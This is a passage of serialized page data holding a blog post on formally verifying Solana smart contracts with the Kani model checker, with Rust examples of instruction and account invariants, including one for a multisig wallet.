programs.",{"type":21,"tag":59,"props":20737,"children":20739},{"id":20738},"kani-model-checker",[20740],{"type":27,"value":20741},"Kani Model Checker",{"type":21,"tag":30,"props":20743,"children":20744},{},[20745,20747,20752],{"type":27,"value":20746},"For our research with formally verifying Solana programs, we are using the ",{"type":21,"tag":34,"props":20748,"children":20750},{"href":19644,"rel":20749},[38],[20751],{"type":27,"value":19648},{"type":27,"value":20753},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":21,"tag":30,"props":20755,"children":20756},{},[20757,20759,20764,20766,20772,20773,20779,20781,20787],{"type":27,"value":20758},"Kani allows you to write ",{"type":21,"tag":1671,"props":20760,"children":20761},{},[20762],{"type":27,"value":20763},"proof harnesses",{"type":27,"value":20765}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":21,"tag":194,"props":20767,"children":20769},{"className":20768},[],[20770],{"type":27,"value":20771},"assume",{"type":27,"value":11801},{"type":21,"tag":194,"props":20774,"children":20776},{"className":20775},[],[20777],{"type":27,"value":20778},"assert",{"type":27,"value":20780}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":21,"tag":194,"props":20782,"children":20784},{"className":20783},[],[20785],{"type":27,"value":20786},"cargo kani",{"type":27,"value":20788}," tool (which compiles your proof harness and runs BMC).",{"type":21,"tag":22,"props":20790,"children":20792},{"id":20791},"specification-how-can-we-describe-what-we-want-our-program-to-do",[20793,20795,20799],{"type":27,"value":20794},"Specification: How can we describe what we ",{"type":21,"tag":1671,"props":20796,"children":20797},{},[20798],{"type":27,"value":19717},{"type":27,"value":19719},{"type":21,"tag":30,"props":20801,"children":20802},{},[20803],{"type":21,"tag":1671,"props":20804,"children":20805},{},[20806],{"type":21,"tag":6137,"props":20807,"children":20808},{},[20809],{"type":27,"value":20810},"And what even do we want it to do?",{"type":21,"tag":30,"props":20812,"children":20813},{},[20814,20816,20821],{"type":27,"value":20815},"A fundamental challenge with any formal verification framework is ",{"type":21,"tag":1671,"props":20817,"children":20818},{},[20819],{"type":27,"value":20820},"specifying",{"type":27,"value":20822}," what the \"correct\" behavior should be.",{"type":21,"tag":30,"props":20824,"children":20825},{},[20826],{"type":27,"value":20827},"In natural language, we can describe a few good properties for example Solana programs:",{"type":21,"tag":138,"props":20829,"children":20830},{},[20831,20843,20855],{"type":21,"tag":75,"props":20832,"children":20833},{},[20834,20836,20841],{"type":27,"value":20835},"\"It should not be possible to ",{"type":21,"tag":6137,"props":20837,"children":20838},{},[20839],{"type":27,"value":20840},"steal money",{"type":27,"value":20842}," via a swap program\"",{"type":21,"tag":75,"props":20844,"children":20845},{},[20846,20848,20853],{"type":27,"value":20847},"\"A multisig should never get into a state where you ",{"type":21,"tag":6137,"props":20849,"children":20850},{},[20851],{"type":27,"value":20852},"can't sign anything",{"type":27,"value":20854},"\"",{"type":21,"tag":75,"props":20856,"children":20857},{},[20858],{"type":27,"value":20859},"\"User funds in a staking protocol \"",{"type":21,"tag":30,"props":20861,"children":20862},{},[20863,20865,20875,20877,20882],{"type":27,"value":20864},"These are types of properties you can tell your ",{"type":21,"tag":34,"props":20866,"children":20869},{"href":20867,"rel":20868},"https://osec.io/",[38],[20870],{"type":21,"tag":1671,"props":20871,"children":20872},{},[20873],{"type":27,"value":20874},"human auditors",{"type":27,"value":20876}," but these English phrases are not particularly useful for ",{"type":21,"tag":1671,"props":20878,"children":20879},{},[20880],{"type":27,"value":20881},"automated verification techniques",{"type":27,"value":20883}," (at least until our AI overlords surpass human intelligence).",{"type":21,"tag":30,"props":20885,"children":20886},{},[20887,20889,20894,20896,20901],{"type":27,"value":20888},"Instead, we need to be able to specify ",{"type":21,"tag":1671,"props":20890,"children":20891},{},[20892],{"type":27,"value":20893},"in code",{"type":27,"value":20895}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":21,"tag":194,"props":20897,"children":20899},{"className":20898},[],[20900],{"type":27,"value":20778},{"type":27,"value":20902}," statement.",{"type":21,"tag":59,"props":20904,"children":20906},{"id":20905},"solana-invariants",[20907],{"type":27,"value":20908},"Solana Invariants",{"type":21,"tag":30,"props":20910,"children":20911},{},[20912,20914,20919,20920,20925],{"type":27,"value":20913},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":21,"tag":6137,"props":20915,"children":20916},{},[20917],{"type":27,"value":20918},"instruction invariants",{"type":27,"value":11801},{"type":21,"tag":6137,"props":20921,"children":20922},{},[20923],{"type":27,"value":20924},"account invariants",{"type":27,"value":658},{"type":21,"tag":162,"props":20927,"children":20929},{"id":20928},"instruction-invariant",[20930],{"type":27,"value":20931},"Instruction Invariant",{"type":21,"tag":30,"props":20933,"children":20934},{},[20935,20937,20942,20944,20950,20951,20957],{"type":27,"value":20936},"An ",{"type":21,"tag":6137,"props":20938,"children":20939},{},[20940],{"type":27,"value":20941},"instruction invariant",{"type":27,"value":20943}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":21,"tag":194,"props":20945,"children":20947},{"className":20946},[],[20948],{"type":27,"value":20949},"succeeds_if",{"type":27,"value":13940},{"type":21,"tag":194,"props":20952,"children":20954},{"className":20953},[],[20955],{"type":27,"value":20956},"errors_if",{"type":27,"value":20958}," macro annotations on the instruction handler.",{"type":21,"tag":30,"props":20960,"children":20961},{},[20962],{"type":27,"value":20963},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":21,"tag":30,"props":20965,"children":20966},{},[20967,20969,20975,20977,20982],{"type":27,"value":20968},"For example, say we have a ",{"type":21,"tag":194,"props":20970,"children":20972},{"className":20971},[],[20973],{"type":27,"value":20974},"Withdraw",{"type":27,"value":20976}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":21,"tag":1671,"props":20978,"children":20979},{},[20980],{"type":27,"value":20981},"more",{"type":27,"value":20983}," tokens than their current balance.",{"type":21,"tag":30,"props":20985,"children":20986},{},[20987,20989,20994],{"type":27,"value":20988},"Using our tool, you could specify the following ",{"type":21,"tag":194,"props":20990,"children":20992},{"className":20991},[],[20993],{"type":27,"value":20956},{"type":27,"value":20995}," property on your instruction handler:",{"type":21,"tag":187,"props":20997,"children":20999},{"code":20998,"language":3788,"meta":7,"className":3789,"style":7},"#[errors_if(\n ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n ...\n}\n",[21000],{"type":21,"tag":194,"props":21001,"children":21002},{"__ignoreMap":7},[21003,21011,21046,21054,21127,21135],{"type":21,"tag":198,"props":21004,"children":21005},{"class":200,"line":201},[21006],{"type":21,"tag":198,"props":21007,"children":21008},{"style":211},[21009],{"type":27,"value":21010},"#[errors_if(\n",{"type":21,"tag":198,"props":21012,"children":21013},{"class":200,"line":217},[21014,21019,21023,21028,21032,21037,21041],{"type":21,"tag":198,"props":21015,"children":21016},{"style":211},[21017],{"type":27,"value":21018}," ctx",{"type":21,"tag":198,"props":21020,"children":21021},{"style":683},[21022],{"type":27,"value":658},{"type":21,"tag":198,"props":21024,"children":21025},{"style":211},[21026],{"type":27,"value":21027},"user",{"type":21,"tag":198,"props":21029,"children":21030},{"style":683},[21031],{"type":27,"value":658},{"type":21,"tag":198,"props":21033,"children":21034},{"style":211},[21035],{"type":27,"value":21036},"balance ",{"type":21,"tag":198,"props":21038,"children":21039},{"style":683},[21040],{"type":27,"value":3159},{"type":21,"tag":198,"props":21042,"children":21043},{"style":211},[21044],{"type":27,"value":21045}," amount\n",{"type":21,"tag":198,"props":21047,"children":21048},{"class":200,"line":236},[21049],{"type":21,"tag":198,"props":21050,"children":21051},{"style":211},[21052],{"type":27,"value":21053},")]\n",{"type":21,"tag":198,"props":21055,"children":21056},{"class":200,"line":260},[21057,21062,21067,21071,21076,21080,21085,21089,21093,21097,21102,21106,21110,21114,21118,21122],{"type":21,"tag":198,"props":21058,"children":21059},{"style":249},[21060],{"type":27,"value":21061},"fn",{"type":21,"tag":198,"props":21063,"children":21064},{"style":698},[21065],{"type":27,"value":21066}," withdraw",{"type":21,"tag":198,"props":21068,"children":21069},{"style":211},[21070],{"type":27,"value":706},{"type":21,"tag":198,"props":21072,"children":21073},{"style":226},[21074],{"type":27,"value":21075},"ctx",{"type":21,"tag":198,"props":21077,"children":21078},{"style":683},[21079],{"type":27,"value":185},{"type":21,"tag":198,"props":21081,"children":21082},{"style":1966},[21083],{"type":27,"value":21084}," Context",{"type":21,"tag":198,"props":21086,"children":21087},{"style":211},[21088],{"type":27,"value":3159},{"type":21,"tag":198,"props":21090,"children":21091},{"style":1966},[21092],{"type":27,"value":20974},{"type":21,"tag":198,"props":21094,"children":21095},{"style":211},[21096],{"type":27,"value":7442},{"type":21,"tag":198,"props":21098,"children":21099},{"style":226},[21100],{"type":27,"value":21101},"amount",{"type":21,"tag":198,"props":21103,"children":21104},{"style":683},[21105],{"type":27,"value":185},{"type":21,"tag":198,"props":21107,"children":21108},{"style":1966},[21109],{"type":27,"value":6673},{"type":21,"tag":198,"props":21111,"children":21112},{"style":211},[21113],{"type":27,"value":1541},{"type":21,"tag":198,"props":21115,"children":21116},{"style":683},[21117],{"type":27,"value":14564},{"type":21,"tag":198,"props":21119,"children":21120},{"style":1966},[21121],{"type":27,"value":14569},{"type":21,"tag":198,"props":21123,"children":21124},{"style":211},[21125],{"type":27,"value":21126},"\u003C()> {\n",{"type":21,"tag":198,"props":21128,"children":21129},{"class":200,"line":281},[21130],{"type":21,"tag":198,"props":21131,"children":21132},{"style":683},[21133],{"type":27,"value":21134}," ...\n",{"type":21,"tag":198,"props":21136,"children":21137},{"class":200,"line":302},[21138],{"type":21,"tag":198,"props":21139,"children":21140},{"style":211},[21141],{"type":27,"value":1120},{"type":21,"tag":3741,"props":21143,"children":21144},{},[21145],{"type":21,"tag":30,"props":21146,"children":21147},{},[21148,21149,21154,21156,21161,21163,21168],{"type":27,"value":534},{"type":21,"tag":194,"props":21150,"children":21152},{"className":21151},[],[21153],{"type":27,"value":20956},{"type":27,"value":21155}," expression specifies ",{"type":21,"tag":1671,"props":21157,"children":21158},{},[21159],{"type":27,"value":21160},"succifient",{"type":27,"value":21162}," but not ",{"type":21,"tag":1671,"props":21164,"children":21165},{},[21166],{"type":27,"value":21167},"necessary",{"type":27,"value":21169}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":21,"tag":19590,"props":21171,"children":21172},{},[],{"type":21,"tag":30,"props":21174,"children":21175},{},[21176,21178,21183],{"type":27,"value":21177},"Another example is that for ",{"type":21,"tag":1671,"props":21179,"children":21180},{},[21181],{"type":27,"value":21182},"crank",{"type":27,"value":21184}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":21,"tag":187,"props":21186,"children":21188},{"code":21187,"language":3788,"meta":7,"className":3789,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n ...\n}\n",[21189],{"type":21,"tag":194,"props":21190,"children":21191},{"__ignoreMap":7},[21192,21200,21254,21261],{"type":21,"tag":198,"props":21193,"children":21194},{"class":200,"line":201},[21195],{"type":21,"tag":198,"props":21196,"children":21197},{"style":211},[21198],{"type":27,"value":21199},"#[succeeds_if(true)]\n",{"type":21,"tag":198,"props":21201,"children":21202},{"class":200,"line":217},[21203,21207,21212,21216,21220,21224,21228,21232,21237,21242,21246,21250],{"type":21,"tag":198,"props":21204,"children":21205},{"style":249},[21206],{"type":27,"value":21061},{"type":21,"tag":198,"props":21208,"children":21209},{"style":698},[21210],{"type":27,"value":21211}," my_crank",{"type":21,"tag":198,"props":21213,"children":21214},{"style":211},[21215],{"type":27,"value":706},{"type":21,"tag":198,"props":21217,"children":21218},{"style":226},[21219],{"type":27,"value":21075},{"type":21,"tag":198,"props":21221,"children":21222},{"style":683},[21223],{"type":27,"value":185},{"type":21,"tag":198,"props":21225,"children":21226},{"style":1966},[21227],{"type":27,"value":21084},{"type":21,"tag":198,"props":21229,"children":21230},{"style":211},[21231],{"type":27,"value":3159},{"type":21,"tag":198,"props":21233,"children":21234},{"style":1966},[21235],{"type":27,"value":21236},"Crank",{"type":21,"tag":198,"props":21238,"children":21239},{"style":211},[21240],{"type":27,"value":21241},">) ",{"type":21,"tag":198,"props":21243,"children":21244},{"style":683},[21245],{"type":27,"value":14564},{"type":21,"tag":198,"props":21247,"children":21248},{"style":1966},[21249],{"type":27,"value":14569},{"type":21,"tag":198,"props":21251,"children":21252},{"style":211},[21253],{"type":27,"value":21126},{"type":21,"tag":198,"props":21255,"children":21256},{"class":200,"line":236},[21257],{"type":21,"tag":198,"props":21258,"children":21259},{"style":683},[21260],{"type":27,"value":21134},{"type":21,"tag":198,"props":21262,"children":21263},{"class":200,"line":260},[21264],{"type":21,"tag":198,"props":21265,"children":21266},{"style":211},[21267],{"type":27,"value":1120},{"type":21,"tag":30,"props":21269,"children":21270},{},[21271,21273,21277,21279,21285],{"type":27,"value":21272},"With this invariant, you could prove that the function ",{"type":21,"tag":1671,"props":21274,"children":21275},{},[21276],{"type":27,"value":13900},{"type":27,"value":21278}," returns ",{"type":21,"tag":194,"props":21280,"children":21282},{"className":21281},[],[21283],{"type":27,"value":21284},"Ok",{"type":27,"value":21286},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":21,"tag":19590,"props":21288,"children":21289},{},[],{"type":21,"tag":30,"props":21291,"children":21292},{},[21293,21295,21300,21301,21306,21308,21313,21315,21320,21322,21327],{"type":27,"value":21294},"Note that ",{"type":21,"tag":194,"props":21296,"children":21298},{"className":21297},[],[21299],{"type":27,"value":20949},{"type":27,"value":11801},{"type":21,"tag":194,"props":21302,"children":21304},{"className":21303},[],[21305],{"type":27,"value":20956},{"type":27,"value":21307}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":21,"tag":194,"props":21309,"children":21311},{"className":21310},[],[21312],{"type":27,"value":20949},{"type":27,"value":21314}," is not satisfied and a function may fail even if ",{"type":21,"tag":194,"props":21316,"children":21318},{"className":21317},[],[21319],{"type":27,"value":20956},{"type":27,"value":21321}," is not satisfied. If you want to prove the ",{"type":21,"tag":1671,"props":21323,"children":21324},{},[21325],{"type":27,"value":21326},"exact condition",{"type":27,"value":21328}," required for an instruction to succeed, you could use a form like the following:",{"type":21,"tag":187,"props":21330,"children":21332},{"code":21331,"language":3788,"meta":7,"className":3789,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n ...\n}\n",[21333],{"type":21,"tag":194,"props":21334,"children":21335},{"__ignoreMap":7},[21336,21380,21387,21404,21429,21481,21488],{"type":21,"tag":198,"props":21337,"children":21338},{"class":200,"line":201},[21339,21343,21348,21352,21356,21360,21364,21368,21372,21376],{"type":21,"tag":198,"props":21340,"children":21341},{"style":249},[21342],{"type":27,"value":21061},{"type":21,"tag":198,"props":21344,"children":21345},{"style":698},[21346],{"type":27,"value":21347}," my_invariant",{"type":21,"tag":198,"props":21349,"children":21350},{"style":211},[21351],{"type":27,"value":706},{"type":21,"tag":198,"props":21353,"children":21354},{"style":683},[21355],{"type":27,"value":10402},{"type":21,"tag":198,"props":21357,"children":21358},{"style":211},[21359],{"type":27,"value":1541},{"type":21,"tag":198,"props":21361,"children":21362},{"style":683},[21363],{"type":27,"value":14564},{"type":21,"tag":198,"props":21365,"children":21366},{"style":1966},[21367],{"type":27,"value":12860},{"type":21,"tag":198,"props":21369,"children":21370},{"style":211},[21371],{"type":27,"value":1891},{"type":21,"tag":198,"props":21373,"children":21374},{"style":683},[21375],{"type":27,"value":10402},{"type":21,"tag":198,"props":21377,"children":21378},{"style":211},[21379],{"type":27,"value":1909},{"type":21,"tag":198,"props":21381,"children":21382},{"class":200,"line":217},[21383],{"type":21,"tag":198,"props":21384,"children":21385},{"emptyLinePlaceholder":16},[21386],{"type":27,"value":1283},{"type":21,"tag":198,"props":21388,"children":21389},{"class":200,"line":236},[21390,21395,21399],{"type":21,"tag":198,"props":21391,"children":21392},{"style":211},[21393],{"type":27,"value":21394},"#[succeeds_if(my_invariant(",{"type":21,"tag":198,"props":21396,"children":21397},{"style":683},[21398],{"type":27,"value":10402},{"type":21,"tag":198,"props":21400,"children":21401},{"style":211},[21402],{"type":27,"value":21403},"))]\n",{"type":21,"tag":198,"props":21405,"children":21406},{"class":200,"line":260},[21407,21412,21416,21421,21425],{"type":21,"tag":198,"props":21408,"children":21409},{"style":211},[21410],{"type":27,"value":21411},"#[errors_if(",{"type":21,"tag":198,"props":21413,"children":21414},{"style":683},[21415],{"type":27,"value":686},{"type":21,"tag":198,"props":21417,"children":21418},{"style":211},[21419],{"type":27,"value":21420},"my_invariant(",{"type":21,"tag":198,"props":21422,"children":21423},{"style":683},[21424],{"type":27,"value":10402},{"type":21,"tag":198,"props":21426,"children":21427},{"style":211},[21428],{"type":27,"value":21403},{"type":21,"tag":198,"props":21430,"children":21431},{"class":200,"line":281},[21432,21436,21441,21445,21449,21453,21457,21461,21465,21469,21473,21477],{"type":21,"tag":198,"props":21433,"children":21434},{"style":249},[21435],{"type":27,"value":21061},{"type":21,"tag":198,"props":21437,"children":21438},{"style":698},[21439],{"type":27,"value":21440}," my_instruction",{"type":21,"tag":198,"props":21442,"children":21443},{"style":211},[21444],{"type":27,"value":706},{"type":21,"tag":198,"props":21446,"children":21447},{"style":226},[21448],{"type":27,"value":21075},{"type":21,"tag":198,"props":21450,"children":21451},{"style":683},[21452],{"type":27,"value":185},{"type":21,"tag":198,"props":21454,"children":21455},{"style":1966},[21456],{"type":27,"value":21084},{"type":21,"tag":198,"props":21458,"children":21459},{"style":211},[21460],{"type":27,"value":3159},{"type":21,"tag":198,"props":21462,"children":21463},{"style":683},[21464],{"type":27,"value":10402},{"type":21,"tag":198,"props":21466,"children":21467},{"style":211},[21468],{"type":27,"value":21241},{"type":21,"tag":198,"props":21470,"children":21471},{"style":683},[21472],{"type":27,"value":14564},{"type":21,"tag":198,"props":21474,"children":21475},{"style":1966},[21476],{"type":27,"value":14569},{"type":21,"tag":198,"props":21478,"children":21479},{"style":211},[21480],{"type":27,"value":21126},{"type":21,"tag":198,"props":21482,"children":21483},{"class":200,"line":302},[21484],{"type":21,"tag":198,"props":21485,"children":21486},{"style":683},[21487],{"type":27,"value":21134},{"type":21,"tag":198,"props":21489,"children":21490},{"class":200,"line":323},[21491],{"type":21,"tag":198,"props":21492,"children":21493},{"style":211},[21494],{"type":27,"value":1120},{"type":21,"tag":30,"props":21496,"children":21497},{},[21498],{"type":27,"value":21499},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":21,"tag":162,"props":21501,"children":21503},{"id":21502},"account-invariants",[21504],{"type":27,"value":21505},"Account Invariants",{"type":21,"tag":30,"props":21507,"children":21508},{},[21509,21511,21516],{"type":27,"value":21510},"The other type of invariant is an ",{"type":21,"tag":6137,"props":21512,"children":21513},{},[21514],{"type":27,"value":21515},"Account Invariant",{"type":27,"value":21517},". This invariant describes some property of an account that should always hold.",{"type":21,"tag":30,"props":21519,"children":21520},{},[21521,21523,21528,21529,21535],{"type":27,"value":21522},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":21,"tag":194,"props":21524,"children":21526},{"className":21525},[],[21527],{"type":27,"value":4530},{"type":27,"value":13940},{"type":21,"tag":194,"props":21530,"children":21532},{"className":21531},[],[21533],{"type":27,"value":21534},"init",{"type":27,"value":3394},{"type":21,"tag":30,"props":21537,"children":21538},{},[21539,21541,21547],{"type":27,"value":21540},"For example, given a mock ",{"type":21,"tag":194,"props":21542,"children":21544},{"className":21543},[],[21545],{"type":27,"value":21546},"UserStatement",{"type":27,"value":21548}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":21,"tag":187,"props":21550,"children":21552},{"code":21551,"language":3788,"meta":7,"className":3789,"style":7},"#[account]\n#[invariant(\n self.assets >= self.liabilities\n)]\nstruct UserStatement {\n pub owner: Pubkey,\n pub assets: u64,\n pub liabilities: u64,\n}\n",[21553],{"type":21,"tag":194,"props":21554,"children":21555},{"__ignoreMap":7},[21556,21564,21572,21606,21613,21629,21655,21679,21703],{"type":21,"tag":198,"props":21557,"children":21558},{"class":200,"line":201},[21559],{"type":21,"tag":198,"props":21560,"children":21561},{"style":211},[21562],{"type":27,"value":21563},"#[account]\n",{"type":21,"tag":198,"props":21565,"children":21566},{"class":200,"line":217},[21567],{"type":21,"tag":198,"props":21568,"children":21569},{"style":211},[21570],{"type":27,"value":21571},"#[invariant(\n",{"type":21,"tag":198,"props":21573,"children":21574},{"class":200,"line":236},[21575,21580,21584,21589,21593,21597,21601],{"type":21,"tag":198,"props":21576,"children":21577},{"style":211},[21578],{"type":27,"value":21579}," self",{"type":21,"tag":198,"props":21581,"children":21582},{"style":683},[21583],{"type":27,"value":658},{"type":21,"tag":198,"props":21585,"children":21586},{"style":211},[21587],{"type":27,"value":21588},"assets ",{"type":21,"tag":198,"props":21590,"children":21591},{"style":683},[21592],{"type":27,"value":10753},{"type":21,"tag":198,"props":21594,"children":21595},{"style":211},[21596],{"type":27,"value":14604},{"type":21,"tag":198,"props":21598,"children":21599},{"style":683},[21600],{"type":27,"value":658},{"type":21,"tag":198,"props":21602,"children":21603},{"style":211},[21604],{"type":27,"value":21605},"liabilities\n",{"type":21,"tag":198,"props":21607,"children":21608},{"class":200,"line":260},[21609],{"type":21,"tag":198,"props":21610,"children":21611},{"style":211},[21612],{"type":27,"value":21053},{"type":21,"tag":198,"props":21614,"children":21615},{"class":200,"line":281},[21616,21620,21625],{"type":21,"tag":198,"props":21617,"children":21618},{"style":249},[21619],{"type":27,"value":10213},{"type":21,"tag":198,"props":21621,"children":21622},{"style":1966},[21623],{"type":27,"value":21624}," UserStatement",{"type":21,"tag":198,"props":21626,"children":21627},{"style":211},[21628],{"type":27,"value":233},{"type":21,"tag":198,"props":21630,"children":21631},{"class":200,"line":302},[21632,21637,21642,21646,21651],{"type":21,"tag":198,"props":21633,"children":21634},{"style":249},[21635],{"type":27,"value":21636}," pub",{"type":21,"tag":198,"props":21638,"children":21639},{"style":226},[21640],{"type":27,"value":21641}," owner",{"type":21,"tag":198,"props":21643,"children":21644},{"style":683},[21645],{"type":27,"value":185},{"type":21,"tag":198,"props":21647,"children":21648},{"style":1966},[21649],{"type":27,"value":21650}," Pubkey",{"type":21,"tag":198,"props":21652,"children":21653},{"style":211},[21654],{"type":27,"value":257},{"type":21,"tag":198,"props":21656,"children":21657},{"class":200,"line":323},[21658,21662,21667,21671,21675],{"type":21,"tag":198,"props":21659,"children":21660},{"style":249},[21661],{"type":27,"value":21636},{"type":21,"tag":198,"props":21663,"children":21664},{"style":226},[21665],{"type":27,"value":21666}," assets",{"type":21,"tag":198,"props":21668,"children":21669},{"style":683},[21670],{"type":27,"value":185},{"type":21,"tag":198,"props":21672,"children":21673},{"style":1966},[21674],{"type":27,"value":6673},{"type":21,"tag":198,"props":21676,"children":21677},{"style":211},[21678],{"type":27,"value":257},{"type":21,"tag":198,"props":21680,"children":21681},{"class":200,"line":344},[21682,21686,21691,21695,21699],{"type":21,"tag":198,"props":21683,"children":21684},{"style":249},[21685],{"type":27,"value":21636},{"type":21,"tag":198,"props":21687,"children":21688},{"style":226},[21689],{"type":27,"value":21690}," liabilities",{"type":21,"tag":198,"props":21692,"children":21693},{"style":683},[21694],{"type":27,"value":185},{"type":21,"tag":198,"props":21696,"children":21697},{"style":1966},[21698],{"type":27,"value":6673},{"type":21,"tag":198,"props":21700,"children":21701},{"style":211},[21702],{"type":27,"value":257},{"type":21,"tag":198,"props":21704,"children":21705},{"class":200,"line":365},[21706],{"type":21,"tag":198,"props":21707,"children":21708},{"style":211},[21709],{"type":27,"value":1120},{"type":21,"tag":30,"props":21711,"children":21712},{},[21713,21715,21720],{"type":27,"value":21714},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":21,"tag":194,"props":21716,"children":21718},{"className":21717},[],[21719],{"type":27,"value":21546},{"type":27,"value":21721}," is created or modified.",{"type":21,"tag":30,"props":21723,"children":21724},{},[21725,21727,21733],{"type":27,"value":21726},"In another example, we developed the following invariant for the ",{"type":21,"tag":34,"props":21728,"children":21730},{"href":19621,"rel":21729},[38],[21731],{"type":27,"value":21732},"Squads Multisig",{"type":27,"value":21734}," wallet account:",{"type":21,"tag":187,"props":21736,"children":21738},{"code":21737,"language":3788,"meta":7,"className":3789,"style":7},"#[account]\n#[invariant(\n !self.keys.is_empty()\n && (self.keys.len() \u003C= u16::MAX as usize)\n && (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[21739],{"type":21,"tag":194,"props":21740,"children":21741},{"__ignoreMap":7},[21742,21749,21756,21786,21845,21874,21926,21933,21954,21984,22014,22044,22073,22103,22133,22162,22202],{"type":21,"tag":198,"props":21743,"children":21744},{"class":200,"line":201},[21745],{"type":21,"tag":198,"props":21746,"children":21747},{"style":211},[21748],{"type":27,"value":21563},{"type":21,"tag":198,"props":21750,"children":21751},{"class":200,"line":217},[21752],{"type":21,"tag":198,"props":21753,"children":21754},{"style":211},[21755],{"type":27,"value":21571},{"type":21,"tag":198,"props":21757,"children":21758},{"class":200,"line":236},[21759,21764,21768,21772,21777,21781],{"type":21,"tag":198,"props":21760,"children":21761},{"style":683},[21762],{"type":27,"value":21763}," !",{"type":21,"tag":198,"props":21765,"children":21766},{"style":211},[21767],{"type":27,"value":14520},{"type":21,"tag":198,"props":21769,"children":21770},{"style":683},[21771],{"type":27,"value":658},{"type":21,"tag":198,"props":21773,"children":21774},{"style":211},[21775],{"type":27,"value":21776},"keys",{"type":21,"tag":198,"props":21778,"children":21779},{"style":683},[21780],{"type":27,"value":658},{"type":21,"tag":198,"props":21782,"children":21783},{"style":211},[21784],{"type":27,"value":21785},"is_empty()\n",{"type":21,"tag":198,"props":21787,"children":21788},{"class":200,"line":260},[21789,21793,21798,21802,21806,21810,21815,21819,21824,21828,21833,21837,21841],{"type":21,"tag":198,"props":21790,"children":21791},{"style":683},[21792],{"type":27,"value":16424},{"type":21,"tag":198,"props":21794,"children":21795},{"style":211},[21796],{"type":27,"value":21797}," (self",{"type":21,"tag":198,"props":21799,"children":21800},{"style":683},[21801],{"type":27,"value":658},{"type":21,"tag":198,"props":21803,"children":21804},{"style":211},[21805],{"type":27,"value":21776},{"type":21,"tag":198,"props":21807,"children":21808},{"style":683},[21809],{"type":27,"value":658},{"type":21,"tag":198,"props":21811,"children":21812},{"style":211},[21813],{"type":27,"value":21814},"len() ",{"type":21,"tag":198,"props":21816,"children":21817},{"style":683},[21818],{"type":27,"value":20209},{"type":21,"tag":198,"props":21820,"children":21821},{"style":1966},[21822],{"type":27,"value":21823}," u16",{"type":21,"tag":198,"props":21825,"children":21826},{"style":683},[21827],{"type":27,"value":4286},{"type":21,"tag":198,"props":21829,"children":21830},{"style":1966},[21831],{"type":27,"value":21832},"MAX",{"type":21,"tag":198,"props":21834,"children":21835},{"style":249},[21836],{"type":27,"value":9638},{"type":21,"tag":198,"props":21838,"children":21839},{"style":1966},[21840],{"type":27,"value":14538},{"type":21,"tag":198,"props":21842,"children":21843},{"style":211},[21844],{"type":27,"value":789},{"type":21,"tag":198,"props":21846,"children":21847},{"class":200,"line":281},[21848,21852,21856,21860,21865,21869],{"type":21,"tag":198,"props":21849,"children":21850},{"style":683},[21851],{"type":27,"value":16424},{"type":21,"tag":198,"props":21853,"children":21854},{"style":211},[21855],{"type":27,"value":21797},{"type":21,"tag":198,"props":21857,"children":21858},{"style":683},[21859],{"type":27,"value":658},{"type":21,"tag":198,"props":21861,"children":21862},{"style":211},[21863],{"type":27,"value":21864},"threshold ",{"type":21,"tag":198,"props":21866,"children":21867},{"style":683},[21868],{"type":27,"value":10753},{"type":21,"tag":198,"props":21870,"children":21871},{"style":211},[21872],{"type":27,"value":21873}," 1)\n",{"type":21,"tag":198,"props":21875,"children":21876},{"class":200,"line":302},[21877,21881,21885,21889,21893,21897,21901,21905,21909,21913,21917,21921],{"type":21,"tag":198,"props":21878,"children":21879},{"style":683},[21880],{"type":27,"value":16424},{"type":21,"tag":198,"props":21882,"children":21883},{"style":211},[21884],{"type":27,"value":21797},{"type":21,"tag":198,"props":21886,"children":21887},{"style":683},[21888],{"type":27,"value":658},{"type":21,"tag":198,"props":21890,"children":21891},{"style":211},[21892],{"type":27,"value":21864},{"type":21,"tag":198,"props":21894,"children":21895},{"style":249},[21896],{"type":27,"value":9652},{"type":21,"tag":198,"props":21898,"children":21899},{"style":1966},[21900],{"type":27,"value":14538},{"type":21,"tag":198,"props":21902,"children":21903},{"style":683},[21904],{"type":27,"value":9007},{"type":21,"tag":198,"props":21906,"children":21907},{"style":211},[21908],{"type":27,"value":14604},{"type":21,"tag":198,"props":21910,"children":21911},{"style":683},[21912],{"type":27,"value":658},{"type":21,"tag":198,"props":21914,"children":21915},{"style":211},[21916],{"type":27,"value":21776},{"type":21,"